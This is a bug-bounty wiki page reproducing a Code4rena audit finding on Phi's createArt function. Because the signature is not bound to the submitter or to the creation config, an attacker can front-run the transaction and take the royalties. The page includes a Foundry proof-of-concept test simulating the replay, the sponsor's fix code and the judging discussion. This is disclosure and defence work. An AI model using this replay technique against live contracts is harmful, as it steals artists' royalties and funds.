Skip to content
Smart contracts Audit finding Intermediate

Signature replay in createArt allows to impersonate artist and steal royalties

The createArt function did not bind the signature to the transaction submitter or the CreateConfig parameters, so an attacker could front-run a legitimate createArt transaction and reuse the signature with their own config to become the royalties recipient. This allowed the attacker to steal royalties and impersonate the artist.

kuprum Follow with rscodes, petarP1998 and 15 others

Originally disclosed on Code4rena

Submitted by kuprum, also found by rscodes, petarP1998, Tigerfrake, joicygiore, Jorgect, MrValioBg, OpaBatyo, smaul, willycode20, McToady, hail_the_lord, 0xNirix, pep7siup, enami_el, Sparrow, rbserver, and 0xCiphky

Loss of funds as anyone can frontrun the createArt transaction, reusing the original signature but supplying their own config. As a result, the artist, the royalties recipient, as well the the royalty BPS can be set arbitrarily, leading to stealing the royalties from the artist and achieving other impacts.

Summary

Function PhiFactory::createArt() doesn’t limit the signature to either the specific submitter, nor does it include into the signed data the CreateConfig parameters; which in particular include the artist, the royalties receiver, as well as other parameters. Other impacts are possible but here is one specific scenario:

  1. The legitimate party creates a valid signature, config, and submits the createArt transaction.
  2. An attacker observes createArt transaction in the mempool, and frontruns it, reusing the signature, but with their own config where they are the royalties recipient.
  3. Attacker’s transaction succeeds, setting them as the royalties recipient.
  4. The original transaction gets executed, and also succeeds, because createERC1155Internal succeeds both when a new PhiNFT1155 contract is created, as well as when it exists already.
  5. The legitimate user doesn’t notice the difference: both ArtContractCreated and NewArtCreated events are emitted correctly (only NewArtCreated is emitted twice).

As a result, the attacker gets all rewards sent to the PhiRewards contract from PhiNFT1155 when the legitimate party claims an NFT token (see PhiNFT1155::claimFromFactory()).

Other possible impacts (a non-exclusive list):

  • The attacker sets themselves as an artist, and gets the possibility to call the PhiNFT1155::updateRoyalties() function, thus setting the royaltyBPS to arbitrary value.
  • The attacker sets themselves as an artist, and gets the possibility to call the PhiFactory::updateArtSettings() function, thus setting the parameters to arbitrary values, e.g. maxSupply, endTime, or mintFee.

Proof of Concept

Drop this test to PhiFactory.t.sol and execute via forge test --match-test Kuprum:

function testKuprum_ImpersonateArtist() public {
    // The owner prepares the signature, the config,
    //  and submits the `createArt` transaction
    string memory artIdURL = "sample-art-id";
    bytes memory credData = abi.encode(1, owner, "SIGNATURE", 31_337, bytes32(0));
    bytes memory signCreateData = abi.encode(expiresIn, artIdURL, credData);
    bytes32 createMsgHash = keccak256(signCreateData);
    bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
    (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
    if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
    IPhiFactory.CreateConfig memory config =
        IPhiFactory.CreateConfig(artCreator, receiver, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false);

    // user1 observes `createArt` transaction in the mempool, and frontruns it,
    // reusing the signature, but with their own config where user1 is the receiver
    vm.deal(user1, 1 ether);
    vm.startPrank(user1);
    IPhiFactory.CreateConfig memory user1Config =
        IPhiFactory.CreateConfig(artCreator, user1, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false);
    phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(signCreateData, abi.encodePacked(cr, cs), user1Config);

    // Owner's `createArt` succeeds; there is also no difference in the `ArtContractCreated` event
    vm.startPrank(owner);
    phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(signCreateData, abi.encodePacked(cr, cs), config);

    // Verify that user1 is now the royalties recipient
    uint256 artIdNum = 1;
    IPhiFactory.ArtData memory updatedArt = phiFactory.artData(artIdNum);
    assertEq(updatedArt.receiver, user1, "user1 should be the royalties recipient");
}

Tools Used

Foundry

Recommended Mitigation Steps

We recommend the following steps:

Assessed type

Invalid Validation

ZaK3939 (Phi) confirmed, but disagreed with severity and commented:

We will disregard the proposed mitigation, because it’s incorrect. Instead, we will extend the signature by introducing nonce, creator, and executor. However, I believe this issue should be classified as Medium rather than High. Addresses that appear to be invalid artist addresses are easily verifiable on the frontend (for example, by checking for lack of prior history). Additionally, artists have certification badges through EAS (Ethereum Attestation Service).

So, we don’t necessarily see a problem with multiple arts being created, but let me improve our logic by this:

struct SignatureData {
    uint256 expiresIn;
    uint256 nonce;
    address creator;
    address executor;
    string uri;
    bytes credData;
}

function createArt(
    bytes calldata signedData_,
    bytes calldata signature_,
    CreateConfig memory createConfig_
)
    external
    payable
    nonReentrant
    whenNotPaused
    returns (address)
{
    _validateArtCreationSignature(signedData_, signature_);

    SignatureData memory data = abi.decode(signedData_, (SignatureData));

    ERC1155Data memory erc1155Data = _createERC1155Data(artIdCounter, createConfig_, data.uri, data.credData);
    address artAddress = createERC1155Internal(artIdCounter, erc1155Data);

    nonces[_msgSender()]++;
    artIdCounter++;
    return artAddress;
}

function _validateArtCreationSignature(bytes memory signedData_, bytes calldata signature_) private view {
    SignatureData memory data = abi.decode(signedData_, (SignatureData));
    if (_recoverSigner(keccak256(signedData_), signature_) != phiSignerAddress) revert AddressNotSigned();
    if (data.expiresIn <= block.timestamp) revert SignatureExpired();
    if (data.creator != address(0) && data.creator != _msgSender()) revert InvalidCreator();
    if (data.executor != address(0) && data.executor != _msgSender()) revert InvalidExecutor();
    if (data.nonce != nonces[_msgSender()]) revert InvalidNonce();
}

0xDjango (judge) commented:

High. This vulnerability would undermine the entire art creation process.


The original report as published on Code4rena, by kuprum. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signature did not cover the CreateConfig parameters (including artist and royalties receiver) and was not restricted to a specific submitter, allowing replay with different config.

Impact

The attacker could steal all royalties sent to the PhiRewards contract when the legitimate party claims an NFT token, and could also set themselves as artist to call updateRoyalties and updateArtSettings with arbitrary values.

What the attacker needed

Attacker can observe mempool; attacker can front-run transaction; legitimate createArt transaction pending

The fix

The signature should include the CreateConfig parameters and be limited to a specific submitter, and createERC1155Internal should fail if the contract already exists.

How it was found

  1. The legitimate party creates a valid signature, config, and submits the createArt transaction.
  2. An attacker observes the createArt transaction in the mempool and front-runs it, reusing the signature but with their own config where they are the royalties recipient.
  3. The attacker’s transaction succeeds, setting them as the royalties recipient.
  4. The original transaction also succeeds because createERC1155Internal works whether the contract is new or already exists.
  5. The legitimate user does not notice because the events are emitted correctly (only NewArtCreated is emitted twice).

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When an artist creates an artwork, they sign a message to prove it is really them. The system checked the signature but did not check who was sending the transaction or what settings were used. An attacker could copy the signed message, send it first with their own settings, and become the person who receives royalty payments.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by kuprum

View all

4 more disclosed reports, best first.

More from Phi

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.